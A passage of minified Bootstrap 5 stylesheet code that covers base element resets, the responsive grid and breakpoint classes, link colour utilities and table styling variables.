ol,ul ul,ol ul,ul ol{margin-bottom:0}dt{font-weight:700}dd{margin-bottom:.5rem;margin-left:0}blockquote{margin:0 0 1rem}b,strong{font-weight:bolder}small,.small{font-size:0.875em}mark,.mark{padding:.1875em;color:var(--bs-highlight-color);background-color:var(--bs-highlight-bg)}sub,sup{position:relative;font-size:0.75em;line-height:0;vertical-align:baseline}sub{bottom:-0.25em}sup{top:-0.5em}a{color:rgba(var(--bs-link-color-rgb), var(--bs-link-opacity, 1));text-decoration:underline}a:hover{--bs-link-color-rgb: var(--bs-link-hover-color-rgb)}a:not([href]):not([class]),a:not([href]):not([class]):hover{color:inherit;text-decoration:none}pre,code,kbd,samp{font-family:var(--bs-font-monospace);font-size:1em}pre{display:block;margin-top:0;margin-bottom:1rem;overflow:auto;font-size:0.875em}pre code{font-size:inherit;color:inherit;word-break:normal}code{font-size:0.875em;color:var(--bs-code-color);word-wrap:break-word}a>code{color:inherit}kbd{padding:.1875rem .375rem;font-size:0.875em;color:var(--bs-body-bg);background-color:var(--bs-body-color);border-radius:.25rem}kbd kbd{padding:0;font-size:1em}figure{margin:0 0 1rem}img,svg{vertical-align:middle}table{caption-side:bottom;border-collapse:collapse}caption{padding-top:.5rem;padding-bottom:.5rem;color:var(--bs-secondary-color);text-align:left}th{text-align:inherit;text-align:-webkit-match-parent}thead,tbody,tfoot,tr,td,th{border-color:inherit;border-style:solid;border-width:0}label{display:inline-block}button{border-radius:0}button:focus:not(:focus-visible){outline:0}input,button,select,optgroup,textarea{margin:0;font-family:inherit;font-size:inherit;line-height:inherit}button,select{text-transform:none}[role=button]{cursor:pointer}select{word-wrap:normal}select:disabled{opacity:1}[list]:not([type=date]):not([type=datetime-local]):not([type=month]):not([type=week]):not([type=time])::-webkit-calendar-picker-indicator{display:none !important}button,[type=button],[type=reset],[type=submit]{-webkit-appearance:button}button:not(:disabled),[type=button]:not(:disabled),[type=reset]:not(:disabled),[type=submit]:not(:disabled){cursor:pointer}::-moz-focus-inner{padding:0;border-style:none}textarea{resize:vertical}fieldset{min-width:0;padding:0;margin:0;border:0}legend{float:left;width:100%;padding:0;margin-bottom:.5rem;line-height:inherit;font-size:calc(1.275rem + 0.3vw)}@media(min-width: 1200px){legend{font-size:1.5rem}}legend+*{clear:left}::-webkit-datetime-edit-fields-wrapper,::-webkit-datetime-edit-text,::-webkit-datetime-edit-minute,::-webkit-datetime-edit-hour-field,::-webkit-datetime-edit-day-field,::-webkit-datetime-edit-month-field,::-webkit-datetime-edit-year-field{padding:0}::-webkit-inner-spin-button{height:auto}[type=search]{-webkit-appearance:textfield;outline-offset:-2px}[type=search]::-webkit-search-cancel-button{cursor:pointer;filter:grayscale(1)}::-webkit-search-decoration{-webkit-appearance:none}::-webkit-color-swatch-wrapper{padding:0}::file-selector-button{font:inherit;-webkit-appearance:button}output{display:inline-block}iframe{border:0}summary{display:list-item;cursor:pointer}progress{vertical-align:baseline}[hidden]{display:none !important}.lead{font-size:1.25rem;font-weight:300}.display-1{font-weight:300;line-height:1.2;font-size:calc(1.625rem + 4.5vw)}@media(min-width: 1200px){.display-1{font-size:5rem}}.display-2{font-weight:300;line-height:1.2;font-size:calc(1.575rem + 3.9vw)}@media(min-width: 1200px){.display-2{font-size:4.5rem}}.display-3{font-weight:300;line-height:1.2;font-size:calc(1.525rem + 3.3vw)}@media(min-width: 1200px){.display-3{font-size:4rem}}.display-4{font-weight:300;line-height:1.2;font-size:calc(1.475rem + 2.7vw)}@media(min-width: 1200px){.display-4{font-size:3.5rem}}.display-5{font-weight:300;line-height:1.2;font-size:calc(1.425rem + 2.1vw)}@media(min-width: 1200px){.display-5{font-size:3rem}}.display-6{font-weight:300;line-height:1.2;font-size:calc(1.375rem + 1.5vw)}@media(min-width: 1200px){.display-6{font-size:2.5rem}}.list-unstyled{padding-left:0;list-style:none}.list-inline{padding-left:0;list-style:none}.list-inline-item{display:inline-block}.list-inline-item:not(:last-child){margin-right:.5rem}.initialism{font-size:0.875em;text-transform:uppercase}.blockquote{margin-bottom:1rem;font-size:1.25rem}.blockquote>:last-child{margin-bottom:0}.blockquote-footer{margin-top:-1rem;margin-bottom:1rem;font-size:0.875em;color:#6c757d}.blockquote-footer::before{content:\"— \"}.img-fluid{max-width:100%;height:auto}.img-thumbnail{padding:.25rem;background-color:var(--bs-body-bg);border:var(--bs-border-width) solid var(--bs-border-color);border-radius:var(--bs-border-radius);max-width:100%;height:auto}.figure{display:inline-block}.figure-img{margin-bottom:.5rem;line-height:1}.figure-caption{font-size:0.875em;color:var(--bs-secondary-color)}.container,.container-fluid,.container-xxl,.container-xl,.container-lg,.container-md,.container-sm{--bs-gutter-x: 1.5rem;--bs-gutter-y: 0;width:100%;padding-right:calc(var(--bs-gutter-x)*.5);padding-left:calc(var(--bs-gutter-x)*.5);margin-right:auto;margin-left:auto}@media(min-width: 576px){.container-sm,.container{max-width:540px}}@media(min-width: 768px){.container-md,.container-sm,.container{max-width:720px}}@media(min-width: 992px){.container-lg,.container-md,.container-sm,.container{max-width:960px}}@media(min-width: 1200px){.container-xl,.container-lg,.container-md,.container-sm,.container{max-width:1140px}}@media(min-width: 1400px){.container-xxl,.container-xl,.container-lg,.container-md,.container-sm,.container{max-width:1320px}}:root{--bs-breakpoint-xs: 0;--bs-breakpoint-sm: 576px;--bs-breakpoint-md: 768px;--bs-breakpoint-lg: 992px;--bs-breakpoint-xl: 1200px;--bs-breakpoint-xxl: 1400px}.row{--bs-gutter-x: 1.5rem;--bs-gutter-y: 0;display:flex;flex-wrap:wrap;margin-top:calc(-1*var(--bs-gutter-y));margin-right:calc(-0.5*var(--bs-gutter-x));margin-left:calc(-0.5*var(--bs-gutter-x))}.row>*{flex-shrink:0;width:100%;max-width:100%;padding-right:calc(var(--bs-gutter-x)*.5);padding-left:calc(var(--bs-gutter-x)*.5);margin-top:var(--bs-gutter-y)}.col{flex:1 0 0}.row-cols-auto>*{flex:0 0 auto;width:auto}.row-cols-1>*{flex:0 0 auto;width:100%}.row-cols-2>*{flex:0 0 auto;width:50%}.row-cols-3>*{flex:0 0 auto;width:33.33333333%}.row-cols-4>*{flex:0 0 auto;width:25%}.row-cols-5>*{flex:0 0 auto;width:20%}.row-cols-6>*{flex:0 0 auto;width:16.66666667%}.col-auto{flex:0 0 auto;width:auto}.col-1{flex:0 0 auto;width:8.33333333%}.col-2{flex:0 0 auto;width:16.66666667%}.col-3{flex:0 0 auto;width:25%}.col-4{flex:0 0 auto;width:33.33333333%}.col-5{flex:0 0 auto;width:41.66666667%}.col-6{flex:0 0 auto;width:50%}.col-7{flex:0 0 auto;width:58.33333333%}.col-8{flex:0 0 auto;width:66.66666667%}.col-9{flex:0 0 auto;width:75%}.col-10{flex:0 0 auto;width:83.33333333%}.col-11{flex:0 0 auto;width:91.66666667%}.col-12{flex:0 0 auto;width:100%}.offset-1{margin-left:8.33333333%}.offset-2{margin-left:16.66666667%}.offset-3{margin-left:25%}.offset-4{margin-left:33.33333333%}.offset-5{margin-left:41.66666667%}.offset-6{margin-left:50%}.offset-7{margin-left:58.33333333%}.offset-8{margin-left:66.66666667%}.offset-9{margin-left:75%}.offset-10{margin-left:83.33333333%}.offset-11{margin-left:91.66666667%}.g-0,.gx-0{--bs-gutter-x: 0}.g-0,.gy-0{--bs-gutter-y: 0}.g-1,.gx-1{--bs-gutter-x: 0.25rem}.g-1,.gy-1{--bs-gutter-y: 0.25rem}.g-2,.gx-2{--bs-gutter-x: 0.5rem}.g-2,.gy-2{--bs-gutter-y: 0.5rem}.g-3,.gx-3{--bs-gutter-x: 1rem}.g-3,.gy-3{--bs-gutter-y: 1rem}.g-4,.gx-4{--bs-gutter-x: 1.5rem}.g-4,.gy-4{--bs-gutter-y: 1.5rem}.g-5,.gx-5{--bs-gutter-x: 3rem}.g-5,.gy-5{--bs-gutter-y: 3rem}@media(min-width: 576px){.col-sm{flex:1 0 0}.row-cols-sm-auto>*{flex:0 0 auto;width:auto}.row-cols-sm-1>*{flex:0 0 auto;width:100%}.row-cols-sm-2>*{flex:0 0 auto;width:50%}.row-cols-sm-3>*{flex:0 0 auto;width:33.33333333%}.row-cols-sm-4>*{flex:0 0 auto;width:25%}.row-cols-sm-5>*{flex:0 0 auto;width:20%}.row-cols-sm-6>*{flex:0 0 auto;width:16.66666667%}.col-sm-auto{flex:0 0 auto;width:auto}.col-sm-1{flex:0 0 auto;width:8.33333333%}.col-sm-2{flex:0 0 auto;width:16.66666667%}.col-sm-3{flex:0 0 auto;width:25%}.col-sm-4{flex:0 0 auto;width:33.33333333%}.col-sm-5{flex:0 0 auto;width:41.66666667%}.col-sm-6{flex:0 0 auto;width:50%}.col-sm-7{flex:0 0 auto;width:58.33333333%}.col-sm-8{flex:0 0 auto;width:66.66666667%}.col-sm-9{flex:0 0 auto;width:75%}.col-sm-10{flex:0 0 auto;width:83.33333333%}.col-sm-11{flex:0 0 auto;width:91.66666667%}.col-sm-12{flex:0 0 auto;width:100%}.offset-sm-0{margin-left:0}.offset-sm-1{margin-left:8.33333333%}.offset-sm-2{margin-left:16.66666667%}.offset-sm-3{margin-left:25%}.offset-sm-4{margin-left:33.33333333%}.offset-sm-5{margin-left:41.66666667%}.offset-sm-6{margin-left:50%}.offset-sm-7{margin-left:58.33333333%}.offset-sm-8{margin-left:66.66666667%}.offset-sm-9{margin-left:75%}.offset-sm-10{margin-left:83.33333333%}.offset-sm-11{margin-left:91.66666667%}.g-sm-0,.gx-sm-0{--bs-gutter-x: 0}.g-sm-0,.gy-sm-0{--bs-gutter-y: 0}.g-sm-1,.gx-sm-1{--bs-gutter-x: 0.25rem}.g-sm-1,.gy-sm-1{--bs-gutter-y: 0.25rem}.g-sm-2,.gx-sm-2{--bs-gutter-x: 0.5rem}.g-sm-2,.gy-sm-2{--bs-gutter-y: 0.5rem}.g-sm-3,.gx-sm-3{--bs-gutter-x: 1rem}.g-sm-3,.gy-sm-3{--bs-gutter-y: 1rem}.g-sm-4,.gx-sm-4{--bs-gutter-x: 1.5rem}.g-sm-4,.gy-sm-4{--bs-gutter-y: 1.5rem}.g-sm-5,.gx-sm-5{--bs-gutter-x: 3rem}.g-sm-5,.gy-sm-5{--bs-gutter-y: 3rem}}@media(min-width: 768px){.col-md{flex:1 0 0}.row-cols-md-auto>*{flex:0 0 auto;width:auto}.row-cols-md-1>*{flex:0 0 auto;width:100%}.row-cols-md-2>*{flex:0 0 auto;width:50%}.row-cols-md-3>*{flex:0 0 auto;width:33.33333333%}.row-cols-md-4>*{flex:0 0 auto;width:25%}.row-cols-md-5>*{flex:0 0 auto;width:20%}.row-cols-md-6>*{flex:0 0 auto;width:16.66666667%}.col-md-auto{flex:0 0 auto;width:auto}.col-md-1{flex:0 0 auto;width:8.33333333%}.col-md-2{flex:0 0 auto;width:16.66666667%}.col-md-3{flex:0 0 auto;width:25%}.col-md-4{flex:0 0 auto;width:33.33333333%}.col-md-5{flex:0 0 auto;width:41.66666667%}.col-md-6{flex:0 0 auto;width:50%}.col-md-7{flex:0 0 auto;width:58.33333333%}.col-md-8{flex:0 0 auto;width:66.66666667%}.col-md-9{flex:0 0 auto;width:75%}.col-md-10{flex:0 0 auto;width:83.33333333%}.col-md-11{flex:0 0 auto;width:91.66666667%}.col-md-12{flex:0 0 auto;width:100%}.offset-md-0{margin-left:0}.offset-md-1{margin-left:8.33333333%}.offset-md-2{margin-left:16.66666667%}.offset-md-3{margin-left:25%}.offset-md-4{margin-left:33.33333333%}.offset-md-5{margin-left:41.66666667%}.offset-md-6{margin-left:50%}.offset-md-7{margin-left:58.33333333%}.offset-md-8{margin-left:66.66666667%}.offset-md-9{margin-left:75%}.offset-md-10{margin-left:83.33333333%}.offset-md-11{margin-left:91.66666667%}.g-md-0,.gx-md-0{--bs-gutter-x: 0}.g-md-0,.gy-md-0{--bs-gutter-y: 0}.g-md-1,.gx-md-1{--bs-gutter-x: 0.25rem}.g-md-1,.gy-md-1{--bs-gutter-y: 0.25rem}.g-md-2,.gx-md-2{--bs-gutter-x: 0.5rem}.g-md-2,.gy-md-2{--bs-gutter-y: 0.5rem}.g-md-3,.gx-md-3{--bs-gutter-x: 1rem}.g-md-3,.gy-md-3{--bs-gutter-y: 1rem}.g-md-4,.gx-md-4{--bs-gutter-x: 1.5rem}.g-md-4,.gy-md-4{--bs-gutter-y: 1.5rem}.g-md-5,.gx-md-5{--bs-gutter-x: 3rem}.g-md-5,.gy-md-5{--bs-gutter-y: 3rem}}@media(min-width: 992px){.col-lg{flex:1 0 0}.row-cols-lg-auto>*{flex:0 0 auto;width:auto}.row-cols-lg-1>*{flex:0 0 auto;width:100%}.row-cols-lg-2>*{flex:0 0 auto;width:50%}.row-cols-lg-3>*{flex:0 0 auto;width:33.33333333%}.row-cols-lg-4>*{flex:0 0 auto;width:25%}.row-cols-lg-5>*{flex:0 0 auto;width:20%}.row-cols-lg-6>*{flex:0 0 auto;width:16.66666667%}.col-lg-auto{flex:0 0 auto;width:auto}.col-lg-1{flex:0 0 auto;width:8.33333333%}.col-lg-2{flex:0 0 auto;width:16.66666667%}.col-lg-3{flex:0 0 auto;width:25%}.col-lg-4{flex:0 0 auto;width:33.33333333%}.col-lg-5{flex:0 0 auto;width:41.66666667%}.col-lg-6{flex:0 0 auto;width:50%}.col-lg-7{flex:0 0 auto;width:58.33333333%}.col-lg-8{flex:0 0 auto;width:66.66666667%}.col-lg-9{flex:0 0 auto;width:75%}.col-lg-10{flex:0 0 auto;width:83.33333333%}.col-lg-11{flex:0 0 auto;width:91.66666667%}.col-lg-12{flex:0 0 auto;width:100%}.offset-lg-0{margin-left:0}.offset-lg-1{margin-left:8.33333333%}.offset-lg-2{margin-left:16.66666667%}.offset-lg-3{margin-left:25%}.offset-lg-4{margin-left:33.33333333%}.offset-lg-5{margin-left:41.66666667%}.offset-lg-6{margin-left:50%}.offset-lg-7{margin-left:58.33333333%}.offset-lg-8{margin-left:66.66666667%}.offset-lg-9{margin-left:75%}.offset-lg-10{margin-left:83.33333333%}.offset-lg-11{margin-left:91.66666667%}.g-lg-0,.gx-lg-0{--bs-gutter-x: 0}.g-lg-0,.gy-lg-0{--bs-gutter-y: 0}.g-lg-1,.gx-lg-1{--bs-gutter-x: 0.25rem}.g-lg-1,.gy-lg-1{--bs-gutter-y: 0.25rem}.g-lg-2,.gx-lg-2{--bs-gutter-x: 0.5rem}.g-lg-2,.gy-lg-2{--bs-gutter-y: 0.5rem}.g-lg-3,.gx-lg-3{--bs-gutter-x: 1rem}.g-lg-3,.gy-lg-3{--bs-gutter-y: 1rem}.g-lg-4,.gx-lg-4{--bs-gutter-x: 1.5rem}.g-lg-4,.gy-lg-4{--bs-gutter-y: 1.5rem}.g-lg-5,.gx-lg-5{--bs-gutter-x: 3rem}.g-lg-5,.gy-lg-5{--bs-gutter-y: 3rem}}@media(min-width: 1200px){.col-xl{flex:1 0 0}.row-cols-xl-auto>*{flex:0 0 auto;width:auto}.row-cols-xl-1>*{flex:0 0 auto;width:100%}.row-cols-xl-2>*{flex:0 0 auto;width:50%}.row-cols-xl-3>*{flex:0 0 auto;width:33.33333333%}.row-cols-xl-4>*{flex:0 0 auto;width:25%}.row-cols-xl-5>*{flex:0 0 auto;width:20%}.row-cols-xl-6>*{flex:0 0 auto;width:16.66666667%}.col-xl-auto{flex:0 0 auto;width:auto}.col-xl-1{flex:0 0 auto;width:8.33333333%}.col-xl-2{flex:0 0 auto;width:16.66666667%}.col-xl-3{flex:0 0 auto;width:25%}.col-xl-4{flex:0 0 auto;width:33.33333333%}.col-xl-5{flex:0 0 auto;width:41.66666667%}.col-xl-6{flex:0 0 auto;width:50%}.col-xl-7{flex:0 0 auto;width:58.33333333%}.col-xl-8{flex:0 0 auto;width:66.66666667%}.col-xl-9{flex:0 0 auto;width:75%}.col-xl-10{flex:0 0 auto;width:83.33333333%}.col-xl-11{flex:0 0 auto;width:91.66666667%}.col-xl-12{flex:0 0 auto;width:100%}.offset-xl-0{margin-left:0}.offset-xl-1{margin-left:8.33333333%}.offset-xl-2{margin-left:16.66666667%}.offset-xl-3{margin-left:25%}.offset-xl-4{margin-left:33.33333333%}.offset-xl-5{margin-left:41.66666667%}.offset-xl-6{margin-left:50%}.offset-xl-7{margin-left:58.33333333%}.offset-xl-8{margin-left:66.66666667%}.offset-xl-9{margin-left:75%}.offset-xl-10{margin-left:83.33333333%}.offset-xl-11{margin-left:91.66666667%}.g-xl-0,.gx-xl-0{--bs-gutter-x: 0}.g-xl-0,.gy-xl-0{--bs-gutter-y: 0}.g-xl-1,.gx-xl-1{--bs-gutter-x: 0.25rem}.g-xl-1,.gy-xl-1{--bs-gutter-y: 0.25rem}.g-xl-2,.gx-xl-2{--bs-gutter-x: 0.5rem}.g-xl-2,.gy-xl-2{--bs-gutter-y: 0.5rem}.g-xl-3,.gx-xl-3{--bs-gutter-x: 1rem}.g-xl-3,.gy-xl-3{--bs-gutter-y: 1rem}.g-xl-4,.gx-xl-4{--bs-gutter-x: 1.5rem}.g-xl-4,.gy-xl-4{--bs-gutter-y: 1.5rem}.g-xl-5,.gx-xl-5{--bs-gutter-x: 3rem}.g-xl-5,.gy-xl-5{--bs-gutter-y: 3rem}}@media(min-width: 1400px){.col-xxl{flex:1 0 0}.row-cols-xxl-auto>*{flex:0 0 auto;width:auto}.row-cols-xxl-1>*{flex:0 0 auto;width:100%}.row-cols-xxl-2>*{flex:0 0 auto;width:50%}.row-cols-xxl-3>*{flex:0 0 auto;width:33.33333333%}.row-cols-xxl-4>*{flex:0 0 auto;width:25%}.row-cols-xxl-5>*{flex:0 0 auto;width:20%}.row-cols-xxl-6>*{flex:0 0 auto;width:16.66666667%}.col-xxl-auto{flex:0 0 auto;width:auto}.col-xxl-1{flex:0 0 auto;width:8.33333333%}.col-xxl-2{flex:0 0 auto;width:16.66666667%}.col-xxl-3{flex:0 0 auto;width:25%}.col-xxl-4{flex:0 0 auto;width:33.33333333%}.col-xxl-5{flex:0 0 auto;width:41.66666667%}.col-xxl-6{flex:0 0 auto;width:50%}.col-xxl-7{flex:0 0 auto;width:58.33333333%}.col-xxl-8{flex:0 0 auto;width:66.66666667%}.col-xxl-9{flex:0 0 auto;width:75%}.col-xxl-10{flex:0 0 auto;width:83.33333333%}.col-xxl-11{flex:0 0 auto;width:91.66666667%}.col-xxl-12{flex:0 0 auto;width:100%}.offset-xxl-0{margin-left:0}.offset-xxl-1{margin-left:8.33333333%}.offset-xxl-2{margin-left:16.66666667%}.offset-xxl-3{margin-left:25%}.offset-xxl-4{margin-left:33.33333333%}.offset-xxl-5{margin-left:41.66666667%}.offset-xxl-6{margin-left:50%}.offset-xxl-7{margin-left:58.33333333%}.offset-xxl-8{margin-left:66.66666667%}.offset-xxl-9{margin-left:75%}.offset-xxl-10{margin-left:83.33333333%}.offset-xxl-11{margin-left:91.66666667%}.g-xxl-0,.gx-xxl-0{--bs-gutter-x: 0}.g-xxl-0,.gy-xxl-0{--bs-gutter-y: 0}.g-xxl-1,.gx-xxl-1{--bs-gutter-x: 0.25rem}.g-xxl-1,.gy-xxl-1{--bs-gutter-y: 0.25rem}.g-xxl-2,.gx-xxl-2{--bs-gutter-x: 0.5rem}.g-xxl-2,.gy-xxl-2{--bs-gutter-y: 0.5rem}.g-xxl-3,.gx-xxl-3{--bs-gutter-x: 1rem}.g-xxl-3,.gy-xxl-3{--bs-gutter-y: 1rem}.g-xxl-4,.gx-xxl-4{--bs-gutter-x: 1.5rem}.g-xxl-4,.gy-xxl-4{--bs-gutter-y: 1.5rem}.g-xxl-5,.gx-xxl-5{--bs-gutter-x: 3rem}.g-xxl-5,.gy-xxl-5{--bs-gutter-y: 3rem}}.clearfix::after{display:block;clear:both;content:\"\"}.text-bg-primary{color:#fff !important;background-color:RGBA(var(--bs-primary-rgb), var(--bs-bg-opacity, 1)) !important}.text-bg-secondary{color:#fff !important;background-color:RGBA(var(--bs-secondary-rgb), var(--bs-bg-opacity, 1)) !important}.text-bg-success{color:#fff !important;background-color:RGBA(var(--bs-success-rgb), var(--bs-bg-opacity, 1)) !important}.text-bg-info{color:#000 !important;background-color:RGBA(var(--bs-info-rgb), var(--bs-bg-opacity, 1)) !important}.text-bg-warning{color:#000 !important;background-color:RGBA(var(--bs-warning-rgb), var(--bs-bg-opacity, 1)) !important}.text-bg-danger{color:#fff !important;background-color:RGBA(var(--bs-danger-rgb), var(--bs-bg-opacity, 1)) !important}.text-bg-light{color:#000 !important;background-color:RGBA(var(--bs-light-rgb), var(--bs-bg-opacity, 1)) !important}.text-bg-dark{color:#fff !important;background-color:RGBA(var(--bs-dark-rgb), var(--bs-bg-opacity, 1)) !important}.link-primary{color:RGBA(var(--bs-primary-rgb), var(--bs-link-opacity, 1)) !important;text-decoration-color:RGBA(var(--bs-primary-rgb), var(--bs-link-underline-opacity, 1)) !important}.link-primary:hover,.link-primary:focus{color:RGBA(10, 88, 202, var(--bs-link-opacity, 1)) !important;text-decoration-color:RGBA(10, 88, 202, var(--bs-link-underline-opacity, 1)) !important}.link-secondary{color:RGBA(var(--bs-secondary-rgb), var(--bs-link-opacity, 1)) !important;text-decoration-color:RGBA(var(--bs-secondary-rgb), var(--bs-link-underline-opacity, 1)) !important}.link-secondary:hover,.link-secondary:focus{color:RGBA(86, 94, 100, var(--bs-link-opacity, 1)) !important;text-decoration-color:RGBA(86, 94, 100, var(--bs-link-underline-opacity, 1)) !important}.link-success{color:RGBA(var(--bs-success-rgb), var(--bs-link-opacity, 1)) !important;text-decoration-color:RGBA(var(--bs-success-rgb), var(--bs-link-underline-opacity, 1)) !important}.link-success:hover,.link-success:focus{color:RGBA(20, 108, 67, var(--bs-link-opacity, 1)) !important;text-decoration-color:RGBA(20, 108, 67, var(--bs-link-underline-opacity, 1)) !important}.link-info{color:RGBA(var(--bs-info-rgb), var(--bs-link-opacity, 1)) !important;text-decoration-color:RGBA(var(--bs-info-rgb), var(--bs-link-underline-opacity, 1)) !important}.link-info:hover,.link-info:focus{color:RGBA(61, 213, 243, var(--bs-link-opacity, 1)) !important;text-decoration-color:RGBA(61, 213, 243, var(--bs-link-underline-opacity, 1)) !important}.link-warning{color:RGBA(var(--bs-warning-rgb), var(--bs-link-opacity, 1)) !important;text-decoration-color:RGBA(var(--bs-warning-rgb), var(--bs-link-underline-opacity, 1)) !important}.link-warning:hover,.link-warning:focus{color:RGBA(255, 205, 57, var(--bs-link-opacity, 1)) !important;text-decoration-color:RGBA(255, 205, 57, var(--bs-link-underline-opacity, 1)) !important}.link-danger{color:RGBA(var(--bs-danger-rgb), var(--bs-link-opacity, 1)) !important;text-decoration-color:RGBA(var(--bs-danger-rgb), var(--bs-link-underline-opacity, 1)) !important}.link-danger:hover,.link-danger:focus{color:RGBA(176, 42, 55, var(--bs-link-opacity, 1)) !important;text-decoration-color:RGBA(176, 42, 55, var(--bs-link-underline-opacity, 1)) !important}.link-light{color:RGBA(var(--bs-light-rgb), var(--bs-link-opacity, 1)) !important;text-decoration-color:RGBA(var(--bs-light-rgb), var(--bs-link-underline-opacity, 1)) !important}.link-light:hover,.link-light:focus{color:RGBA(249, 250, 251, var(--bs-link-opacity, 1)) !important;text-decoration-color:RGBA(249, 250, 251, var(--bs-link-underline-opacity, 1)) !important}.link-dark{color:RGBA(var(--bs-dark-rgb), var(--bs-link-opacity, 1)) !important;text-decoration-color:RGBA(var(--bs-dark-rgb), var(--bs-link-underline-opacity, 1)) !important}.link-dark:hover,.link-dark:focus{color:RGBA(26, 30, 33, var(--bs-link-opacity, 1)) !important;text-decoration-color:RGBA(26, 30, 33, var(--bs-link-underline-opacity, 1)) !important}.link-body-emphasis{color:RGBA(var(--bs-emphasis-color-rgb), var(--bs-link-opacity, 1)) !important;text-decoration-color:RGBA(var(--bs-emphasis-color-rgb), var(--bs-link-underline-opacity, 1)) !important}.link-body-emphasis:hover,.link-body-emphasis:focus{color:RGBA(var(--bs-emphasis-color-rgb), var(--bs-link-opacity, 0.75)) !important;text-decoration-color:RGBA(var(--bs-emphasis-color-rgb), var(--bs-link-underline-opacity, 0.75)) !important}.focus-ring:focus{outline:0;box-shadow:var(--bs-focus-ring-x, 0) var(--bs-focus-ring-y, 0) var(--bs-focus-ring-blur, 0) var(--bs-focus-ring-width) var(--bs-focus-ring-color)}.icon-link{display:inline-flex;gap:.375rem;align-items:center;text-decoration-color:rgba(var(--bs-link-color-rgb), var(--bs-link-opacity, 0.5));text-underline-offset:.25em;backface-visibility:hidden}.icon-link>.bi{flex-shrink:0;width:1em;height:1em;fill:currentcolor;transition:.2s ease-in-out transform}@media(prefers-reduced-motion: reduce){.icon-link>.bi{transition:none}}.icon-link-hover:hover>.bi,.icon-link-hover:focus-visible>.bi{transform:var(--bs-icon-link-transform, translate3d(0.25em, 0, 0))}.ratio{position:relative;width:100%}.ratio::before{display:block;padding-top:var(--bs-aspect-ratio);content:\"\"}.ratio>*{position:absolute;top:0;left:0;width:100%;height:100%}.ratio-1x1{--bs-aspect-ratio: 100%}.ratio-4x3{--bs-aspect-ratio: 75%}.ratio-16x9{--bs-aspect-ratio: 56.25%}.ratio-21x9{--bs-aspect-ratio: 42.8571428571%}.fixed-top{position:fixed;top:0;right:0;left:0;z-index:1030}.fixed-bottom{position:fixed;right:0;bottom:0;left:0;z-index:1030}.sticky-top{position:sticky;top:0;z-index:1020}.sticky-bottom{position:sticky;bottom:0;z-index:1020}@media(min-width: 576px){.sticky-sm-top{position:sticky;top:0;z-index:1020}.sticky-sm-bottom{position:sticky;bottom:0;z-index:1020}}@media(min-width: 768px){.sticky-md-top{position:sticky;top:0;z-index:1020}.sticky-md-bottom{position:sticky;bottom:0;z-index:1020}}@media(min-width: 992px){.sticky-lg-top{position:sticky;top:0;z-index:1020}.sticky-lg-bottom{position:sticky;bottom:0;z-index:1020}}@media(min-width: 1200px){.sticky-xl-top{position:sticky;top:0;z-index:1020}.sticky-xl-bottom{position:sticky;bottom:0;z-index:1020}}@media(min-width: 1400px){.sticky-xxl-top{position:sticky;top:0;z-index:1020}.sticky-xxl-bottom{position:sticky;bottom:0;z-index:1020}}.hstack{display:flex;flex-direction:row;align-items:center;align-self:stretch}.vstack{display:flex;flex:1 1 auto;flex-direction:column;align-self:stretch}.visually-hidden,.visually-hidden-focusable:not(:focus):not(:focus-within){width:1px !important;height:1px !important;padding:0 !important;margin:-1px !important;overflow:hidden !important;clip:rect(0, 0, 0, 0) !important;white-space:nowrap !important;border:0 !important}.visually-hidden:not(caption),.visually-hidden-focusable:not(:focus):not(:focus-within):not(caption){position:absolute !important}.visually-hidden *,.visually-hidden-focusable:not(:focus):not(:focus-within) *{overflow:hidden !important}.stretched-link::after{position:absolute;top:0;right:0;bottom:0;left:0;z-index:1;content:\"\"}.text-truncate{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.vr{display:inline-block;align-self:stretch;width:var(--bs-border-width);min-height:1em;background-color:currentcolor;opacity:.25}.table{--bs-table-color-type: initial;--bs-table-bg-type: initial;--bs-table-color-state: initial;--bs-table-bg-state: initial;--bs-table-color: var(--bs-emphasis-color);--bs-table-bg: var(--bs-body-bg);--bs-table-border-color: var(--bs-border-color);--bs-table-accent-bg: transparent;--bs-table-striped-color: var(--bs-emphasis-color);--bs-table-striped-bg: rgba(var(--bs-emphasis-color-rgb), 0.05);--bs-table-active-color: var(--bs-emphasis-color);--bs-table-active-bg: rgba(var(--bs-emphasis-color-rgb), 0.1);--bs-table-hover-color: var(--bs-emphasis-color);--bs-table-hover-bg: rgba(var(--bs-emphasis-color-rgb), 0.075);width:100%;margin-bottom:1rem;vertical-align:top;border-color:var(--bs-table-border-color)}.table>:not(caption)>*>*{padding:.5rem .5rem;color:var(--bs-table-color-state, var(--bs-table-color-type, var(--bs-table-color)));background-color:var(--bs-table-bg);border-bottom-width:var(--bs-border-width);box-shadow:inset 0 0 0 9999px var(--bs-table-bg-state, var(--bs-table-bg-type, var(--bs-table-accent-bg)))}.table>tbody{vertical-align:inherit}.table>thead{vertical-align:bottom}.table-group-divider{border-top:calc(var(--bs-border-width)*2) solid currentcolor}.caption-top{caption-side:top}.table-sm>:not(caption)>*>*{padding:.25rem .25rem}.table-bordered>:not(caption)>*{border-width:var(--bs-border-width) 0}.table-bordered>:not(caption)>*>*{border-width:0 var(--bs-border-width)}.table-borderless>:not(caption)>*>*{border-bottom-width:0}.table-borderless>:not(:first-child){border-top-width:0}.table-striped>tbody>tr:nth-of-type(odd)>*{--bs-table-color-type: var(--bs-table-striped-color);--bs-table-bg-type: var(--bs-table-striped-bg)}.table-striped-columns>:not(caption)>tr>:nth-child(even){--bs-table-color-type: var(--bs-table-striped-color);--bs-table-bg-type: var(--bs-table-striped-bg)}.table-active{--bs-table-color-state: var(--bs-table-active-color);--bs-table-bg-state: var(--bs-table-active-bg)}.table-hover>tbody>tr:hover>*{--bs-table-color-state: var(--bs-table-hover-color);--bs-table-bg-state: var(--bs-table-hover-bg)}.table-primary{--bs-table-color: #000;--bs-table-bg: rgb(206.6, 226, 254.6);--bs-table-border-color: rgb(165.28, 180.8, 203.68);--bs-table-striped-bg: rgb(196.27, 214.7, 241.87);--bs-table-striped-color: #000;--bs-table-active-bg: rgb(185.94, 203.4, 229.14);--bs-table-active-color: #000;--bs-table-hover-bg: rgb(191.105, 209.05, 235.505);--bs-table-hover-color: #000;color:var(--bs-table-color);border-color:var(--bs-table-border-color)}.table-secondary{--bs-table-color: #000;--bs-table-bg: rgb(225.6, 227.4, 229);--bs-table-border-color: rgb(180.48, 181.92, 183.2);--bs-table-striped-bg: rgb(214.32, 216.03, 217.55);--bs-table-striped-color: #000;--bs-table-active-bg: rgb(203.04, 204.66, 206.1);--bs-table-active-color: #000;--bs-table-hover-bg: rgb(208.68, 210.345, 